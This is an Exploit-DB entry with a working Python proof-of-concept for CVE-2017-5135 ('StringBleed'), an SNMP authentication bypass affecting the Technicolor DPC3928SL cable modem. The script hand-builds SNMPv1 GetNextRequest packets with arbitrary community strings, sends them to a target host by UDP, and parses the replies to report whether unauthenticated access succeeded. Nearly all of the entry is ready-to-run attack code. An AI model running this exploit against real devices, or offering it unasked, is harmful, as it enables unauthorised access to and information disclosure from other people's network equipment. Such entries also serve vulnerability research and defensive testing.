Technicolor DPC3928SL - SNMP Authentication Bypass

EDB-ID:

43384


Author:

nixawk

Type:

remote


Platform:

Hardware

Date:

2017-05-05


#!/usr/bin/python
# -*- coding: utf-8 -*-

# StringBleed - CVE-2017-5135

__author__ = ["Nixawk"]

__funcs__ = [
    'generate_snmp_communitystr',
    'generate_snmp_proto_payload',
    'send_snmp_request',
    'read_snmp_communitystr',
    'read_snmp_varbindstr',
    'snmp_login',
    'snmp_stringbleed'
]


import struct
import uuid
import socket
import time
import logging
import contextlib


logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__file__)


def generate_snmp_communitystr():
    return str(uuid.uuid4())


def generate_snmp_proto_payload(community):
    """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
    For example, suppose one wanted to identify an instance of the
    variable sysDescr The object class for sysDescr is:
         iso org dod internet mgmt mib system sysDescr
          1   3   6     1      2    1    1       1
    """

    # SNMPv1 specifies five core protocol data units (PDUs).
    # All SNMP PDUs are constructed as follows:

    # ---------------------
    # | IP header         |
    # ---------------------
    # | UDP header        |
    # --------------------- -------|
    # | version           |        |
    # | community         |        |
    # | PDU-type          |        |
    # | request-id        |        |---- SNMP
    # | error-status      |        |
    # | error-index       |        |
    # | variable bindings |        |
    # --------------------- -------|
    #

    # The seven SNMP protocol data unit (PDU) types are as follows:
    # GetRequest
    # SetRequest
    # GetNextRequest
    # GetBulkRequest
    # Response
    # Trap
    # InformRequest

    # SNMPv1 Message Header
    # SNMPv1 Trap Message Hander

    # https://tools.ietf.org/html/rfc1592
    # +-----------------------------------------------------------------+
    # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0         |
    # +---------------+----------------+--------------------------------+
    # | OFFSET        | VALUE          | FIELD                          |
    # +---------------+----------------+--------------------------------+
    # | 0             | 0x30           | ASN.1 header                   |
    # +---------------+----------------+--------------------------------+
    # | 1             | 37 + len       | PDU_length, see formula below  |
    # +---------------+----------------+--------------------------------+
    # | 2             | 0x02 0x01 0x00 | SNMP version:                  |
    # |               |                | (integer,length=1,value=0)     |
    # +---------------+----------------+--------------------------------+
    # | 5             | 0x04           | community name (string)        |
    # +---------------+----------------+--------------------------------+
    # | 6             | len            | length of community name       |
    # +---------------+----------------+--------------------------------+
    # | 7             | community name | varies                         |
    # +---------------+----------------+--------------------------------+
    # | 7 + len       | 0xa0 0x1c      | SNMP GET request:              |
    # |               |                | request_type=0xa0,length=0x1c  |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 2   | 0x02 0x01 0x01 | SNMP request ID:               |
    # |               |                | integer,length=1,ID=1          |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 5   | 0x02 0x01 0x00 | SNMP error status:             |
    # |               |                | integer,length=1,error=0       |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 8   | 0x02 0x01 0x00 | SNMP index:                    |
    # |               |                | integer,length=1,index=0       |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 11  | 0x30 0x11      | varBind list, length=0x11      |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 13  | 0x30 0x0f      | varBind, length=0x0f           |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 15  | 0x06 0x0b      | Object ID, length=0x0b         |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 17  | 0x2b 0x06 0x01 | Object-ID:                     |
    # |               | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1          |
    # |               | 0x02 0x01 0x01 | Object-instance: 0             |
    # |               | 0x01 0x00      |                                |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 28  | 0x05 0x00      | null value, length=0           |
    # +---------------+----------------+--------------------------------+
    # | NOTE:  Formula to calculate "PDU_length":                       |
    # |                                                                 |
    # |   PDU_length =  length of version field and string tag (4 bytes)|
    # |              +  length of community length field (1 byte)       |
    # |              +  length of community name (depends...)           |
    # |              +  length of SNMP GET request (32 bytes)           |
    # |                                                                 |
    # |              =  37 + length of community name                   |
    # +-----------------------------------------------------------------+

    snmp_GetNextRequest = [
        b"\x30",                             # ASN.1 Header
        b"\x29",                             # PDU length
        b"\x02\x01\x00",                     # SNMP Version
        b"\x04",                             # Community Name (string)
        chr(len(community)),                 # Community Length
        community,                           # Community String
        b"\xa1\x19",                         # PDU Type - GetNextRequest
        b"\x02\x04",
        struct.pack("<i", int(time.time())), # Request ID
        b"\x02\x01\x00",                     # Error Status (Type)
        b"\x02\x01\x00",                     # Error Index
        b"\x30",                             # Variable Type (Sequence)
        b"\x0b",                             # Length
        b"\x30",                             # Variable Type (Sequence)
        b"\x09",                             # Length
        b"\x06",                             # Variable Type (OID)
        b"\x05",                             # Length
        b"\x2b\x06\x01\x02\x01",             # Value
        b"\x05\x00"  # NULL
    ]

    pkt = "".join(snmp_GetNextRequest)
    com_length = chr(len(community))
    pdu_length = chr(len(pkt) - 2)      # community length cost 1 bytes (default)

    if com_length > '\x7f':
        com_length = '\x81' + com_length
        pdu_length = chr(len(pkt) - 1)  # community length cost 2 bytes

    if pdu_length > '\x7f':
        pdu_length = '\x81' + pdu_length

    snmp_GetNextRequest[1] = pdu_length
    snmp_GetNextRequest[4] = com_length

    pkt = b"".join(snmp_GetNextRequest)

    return pkt


def send_snmp_request(host, port, community, timeout=6.0):
    """Send snmp request based on UDP.
    """
    data = ''

    try:
        with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
            snmp_raw = generate_snmp_proto_payload(community)
            client.settimeout(timeout)
            client.sendto(snmp_raw, (host, port))
            data, _ = client.recvfrom(2014)
    except Exception as err:
        log.error("{} : {} - {}".format(host, port, err))

    return data


def read_snmp_communitystr(snmp_response):
    """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
    """
    community_str = ''

    if not snmp_response:
        return community_str

    pdu_length = snmp_response[1]  # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
    if ord(pdu_length) > 0x7f:
        offset = 8  # "\x30\x81\xea\x02\x01\x00\x04\x24"
    else:
        offset = 7  # "\x30\x26\x02\x01\x00\x04\x06"

    community_length = snmp_response[offset - 1]
    community_str = snmp_response[offset: offset +ord(community_length)]

    return community_str


def read_snmp_varbindstr(snmp_response):
    """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
    """
    variable_binding_string = ''

    if not snmp_response:
        return variable_binding_string

    pdu_length = snmp_response[1]  # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
    if ord(pdu_length) > 0x7f:
        offset = 8  # "\x30\x81\xea\x02\x01\x00\x04\x24"
    else:
        offset = 7  # "\x30\x26\x02\x01\x00\x04\x06"

    community_length = snmp_response[offset - 1]
    pdu_data_offset = offset + ord(community_length)
    pdu_data = snmp_response[pdu_data_offset:]  # 8 = first snmp 8 bytes

    last_pdu = pdu_data.split("\x00")[-1]

    # if data > 127 (0x7f), variable-bindings length: 3 bytes
    # if data < 127 (0x7f), variable-bindings length: 2 bytes

    last_pdu_length = ord(last_pdu[1])
    if last_pdu_length > 0x7f:
        variable_binding_string =  last_pdu[3:]
    else:
        variable_binding_string = last_pdu[2:]
    return variable_binding_string


def snmp_login(host, port, community):
    """login snmp service with SNMPv1 community string.
    """
    login_status = False
    try:
        resp_community = read_snmp_communitystr(
            send_snmp_request(host, int(port), community)
        )

        if (resp_community == community):
            login_status = True
    except Exception as err:
        log.error(err)

    return login_status


def snmp_stringbleed(host, port, community):
    """Test againsts Snmp StringBleed CVE-2017-5135.
    """
    stringbleed_status = False
    try:
        resp_varbindstr = read_snmp_varbindstr(
                send_snmp_request(host, int(port), community)
            )
        if resp_varbindstr: stringbleed_status = True
    except Exception as err:
        log.error(err)

    return stringbleed_status


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 4:
        log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
        sys.exit(1)

    host = sys.argv[1]
    port = sys.argv[2]
    community = sys.argv[3]

    if snmp_login(host, int(port), community):
        log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
    else:
        log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))

    if snmp_stringbleed(host, int(port), community):
        log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
    else:
        log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))


## References
# https://tools.ietf.org/html/rfc1157
# http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start
# http://www.net-snmp.org/
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
# https://wiki.wireshark.org/SNMP
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx
# http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc
# https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py